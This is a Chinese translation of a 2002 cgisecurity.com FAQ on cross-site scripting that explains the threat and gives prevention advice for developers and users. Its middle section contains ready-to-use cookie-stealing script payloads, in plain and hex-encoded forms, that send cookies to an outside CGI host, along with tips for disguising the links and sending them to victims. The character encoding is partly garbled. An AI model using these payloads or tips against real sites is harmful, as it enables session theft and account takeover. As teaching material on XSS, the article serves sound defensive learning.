該文章簡(jiǎn)單地介紹了XSS的基礎知識及其危害和預防方法。Web開(kāi)發(fā)人員的必讀。譯自 http://www.cgisecurity.com/articles/xss-faq.shtml。
現在的網(wǎng)站包含大量的動(dòng)態(tài)內容以提高用戶(hù)體驗,比過(guò)去要復雜得多。所謂動(dòng)態(tài)內容,就是根據用戶(hù)環(huán)境和需要,Web應用程序能夠輸出相應的內容。動(dòng)態(tài)站點(diǎn)會(huì )受到一種名為“跨站腳本攻擊”(Cross Site Scripting, 安全專(zhuān)家們通常將其所寫(xiě)成 XSS)的威脅,而靜態(tài)站點(diǎn)則完全不受其影響。這篇FAQ將使你能更深入地理解這種威脅,并給出如何檢測并防止的建議。
跨站腳本攻擊(也稱(chēng)為XSS)指利用網(wǎng)站漏洞從用戶(hù)那里惡意盜取信息。用戶(hù)在瀏覽網(wǎng)站、使用即時(shí)通訊軟件、甚至在閱讀電子郵件時(shí),通常會(huì )點(diǎn)擊其中的鏈接。攻擊者通過(guò)在鏈接中插入惡意代碼,就能夠盜取用戶(hù)信息。攻擊者通常會(huì )用十六進(jìn)制(或其他編碼方式)將鏈接編碼,以免用戶(hù)懷疑它的合法性。網(wǎng)站在接收到包含惡意代碼的請求之后會(huì )產(chǎn)成一個(gè)包含惡意代碼的頁(yè)面,而這個(gè)頁(yè)面看起來(lái)就像是那個(gè)網(wǎng)站應當生成的合法頁(yè)面一樣。許多流行的留言本和論壇程序允許用戶(hù)發(fā)表包含HTML和javascript的帖子。假設用戶(hù)甲發(fā)表了一篇包含惡意腳本的帖子,那么用戶(hù)乙在瀏覽這篇帖子時(shí),惡意腳本就會(huì )執行,盜取用戶(hù)乙的session信息。有關(guān)攻擊方法的詳細情況將在下面闡述。
人們經(jīng)常將跨站腳本攻擊(Cross Site Scripting)縮寫(xiě)為CSS,但這會(huì )與層疊樣式表(Cascading Style Sheets, CSS)的縮寫(xiě)混淆。因此有人將跨站腳本攻擊縮寫(xiě)為XSS。如果你聽(tīng)到有人說(shuō) “我發(fā)現了一個(gè)XSS漏洞”,顯然他是在說(shuō)跨站腳本攻擊。
為了搜集用戶(hù)信息,攻擊者通常會(huì )在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺騙用戶(hù)(詳見(jiàn)下文)。一旦得手,他們可以盜取用戶(hù)帳戶(hù),修改用戶(hù)設置,盜取/污染cookie,做虛假廣告等。每天都有大量的XSS攻擊的惡意代碼出現。 Brett Moore的下面這篇文章詳細地闡述了“拒絕服務(wù)攻擊”以及用戶(hù)僅僅閱讀一篇文章就會(huì )受到的“自動(dòng)攻擊”。
著(zhù)名的PHPnuke程序有很多XSS漏洞。由于該程序十分流行,因此經(jīng)常被黑客們作為XSS的攻擊對象進(jìn)行檢查。下面給出了幾個(gè)已公開(kāi)報告的攻擊方法。
根據作為攻擊對象的Web程序,下面某些變量和插入位置可能需要進(jìn)行調整。要注意這只是攻擊方法的一個(gè)例子。在這個(gè)例子中,我們將利用腳本“a.php”中的 “viriable”變量中的跨站腳本漏洞,通過(guò)正常請求進(jìn)行攻擊。這是跨站腳本攻擊最常見(jiàn)的形式。
當你找到某個(gè)Web程序存在XSS漏洞之后,檢查一下它是否設置了cookie。如果在該網(wǎng)站的任何地方設置了cookie,那么就可以從用戶(hù)那里盜取它。
不同的攻擊方式將產(chǎn)生不同的XSS漏洞,所以應適當進(jìn)行測試以使得輸出結果看起來(lái)像是正常的。某些惡意腳本插入之后會(huì )破壞輸出的頁(yè)面。(為欺騙用戶(hù),輸出結果非常重要,因此攻擊者有必要調整攻擊代碼使輸出看起來(lái)正常。)
下一步你需要在鏈接至包含XSS漏洞的頁(yè)面的URL中插入 Javascript(或其他客戶(hù)端腳本)。下面列出了一些經(jīng)常用于測試XSS漏洞的鏈接。當用戶(hù)點(diǎn)擊這些鏈接時(shí),用戶(hù)的cookie獎被發(fā)送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被顯示。如果你看到顯示結果中包含了cookie信息,說(shuō)明可能可以劫持該用戶(hù)的賬戶(hù)。
盜取Cookie的Javascript示例。使用方法如下。
ASCII用法
http://host/a.php?variable="><script>document.location=‘http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script>
十六進(jìn)制用法
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注意: 每種用法都先寫(xiě)為ASCII,再寫(xiě)成十六進(jìn)制以便復制粘貼。
1. "><script>document.location=‘http://www.cgisecurity.com/cgi-bin/cookie.cgi?‘ +document.cookie</script>HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e2. <script>document.location=‘http://www.cgisecurity.com/cgi-bin/cookie.cgi?‘ +document.cookie</script>HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e3. ><script>document.location=‘http://www.cgisecurity.com/cgi-bin/cookie.cgi?‘ +document.cookie</script>HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
將做好的URL通過(guò)電子郵件或其他方式發(fā)送出去。注意如果你直接將URL發(fā)送給其他人(通過(guò)電子郵件、即時(shí)通訊軟件或其他方式),你應當將其進(jìn)行十六進(jìn)制編碼,因為這些URL一眼便可看出包含惡意代碼,但經(jīng)過(guò)十六進(jìn)制編碼之后就可以欺騙大部分人。
一旦用戶(hù)點(diǎn)擊了你的URL,相應數據就會(huì )被發(fā)送到你的CGI腳本中。這樣你就獲得了 cookie信息,然后你可以利用Websleuth之類(lèi)的工具來(lái)檢查是否能盜取那個(gè)賬戶(hù)。
在上面的例子中,我們僅僅將用戶(hù)帶到了 cookie.cgi頁(yè)面上。如果你有時(shí)間,你可以在CGI中將用戶(hù)重定向到原來(lái)的頁(yè)面上,即可在用戶(hù)不知不覺(jué)之中盜取信息。
某些電子郵件程序在打開(kāi)附件時(shí)會(huì )自動(dòng)執行附件中的Javascript代碼。即使像Hotmail這樣的大型網(wǎng)站也是如此,不過(guò)它對附件內容作了許多過(guò)濾以避免cookie被盜。
這個(gè)問(wèn)題很簡(jiǎn)單。堅決不要相信任何用戶(hù)輸入并過(guò)濾所有特殊字符。這樣既可消滅絕大部分的XSS攻擊。另一個(gè)建議是輸出頁(yè)面時(shí)將 < 和 > 變換成 < 和 >。要記住,XSS漏洞極具破壞性,一旦被利用,它會(huì )給你的事業(yè)帶來(lái)極大的損害。攻擊者會(huì )將這些漏洞公之于眾,這會(huì )在用戶(hù)隱私的問(wèn)題上大大降低你的網(wǎng)站的用戶(hù)信賴(lài)度。當然,僅僅將 ( 和 ) 變換成 < 和 > 是不夠的,最好將 ( 和 ) 變換成 ( 和 ),# 和 & 變換成 # 和 &。
保護自己的最好方法就是僅點(diǎn)擊你想訪(fǎng)問(wèn)的那個(gè)網(wǎng)站上的鏈接。例如,如果你訪(fǎng)問(wèn)了一個(gè)網(wǎng)站,該網(wǎng)站有一個(gè)鏈接指向了 CNN,那么不要單擊該鏈接,而是訪(fǎng)問(wèn) CNN 的主站點(diǎn)并使用搜索引擎查找相關(guān)內容。這樣可以杜絕90%以上的XSS攻擊。有時(shí)候XSS會(huì )在你打開(kāi)電子郵件、打開(kāi)附件、閱讀留言板、閱讀論壇時(shí)自動(dòng)進(jìn)行。當你打開(kāi)電子郵件或是在公共論壇上閱讀你不認識的人的帖子時(shí)一定要注意。最好的解決辦法就是關(guān)閉瀏覽器的 Javascript 功能。在IE中可以將安全級別設置為最高,可以防止cookie被盜。
由于XSS漏洞很容易在大型網(wǎng)站中發(fā)現,在黑客圈內它非常流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有這樣那樣的XSS漏洞。
在商業(yè)產(chǎn)品中,平均每個(gè)月能夠發(fā)現10-25個(gè)XSS漏洞。
使用SSL(https)加密的網(wǎng)站并不比不加密的網(wǎng)站好到哪兒去。Web程序仍然以同樣的方式工作,只是攻擊是通過(guò)加密的連接實(shí)現。有些人看到瀏覽器上的鎖圖標就認為他們是安全的,其實(shí)不然。
XSS漏洞會(huì )導致Javascript的惡意插入,但它的執行受到很多限制。如果攻擊者利用瀏覽器的漏洞,有可能在用戶(hù)的計算機上執行命令。因此,就算能夠執行命令也只能在客戶(hù)端。簡(jiǎn)單地說(shuō),XSS漏洞可以觸發(fā)客戶(hù)端的其他漏洞。
如果不修改XSS漏洞,你的網(wǎng)站上的用戶(hù)會(huì )受到被篡改的威脅。許多大型網(wǎng)站都發(fā)現了XSS漏洞,這個(gè)問(wèn)題已經(jīng)得到普遍認識。如果不修改,發(fā)現它的人也許會(huì )警告你的公司,損害公司的信譽(yù)。你拒絕修改漏洞的消息也會(huì )傳到客戶(hù)那里,造成公司的信任危機??蛻?hù)不信任的話(huà)還怎么做生意?
"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm
Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html
"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html
Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html
Paper on Microsoft‘s Passport System
http://eyeonsecurity.net/papers/passporthijack.html
Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies
The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com
Many Thanks to David Endler for reviewing this document.
Published to the Public May 2002
Copyright May 2002 Cgisecurity.com
聯(lián)系客服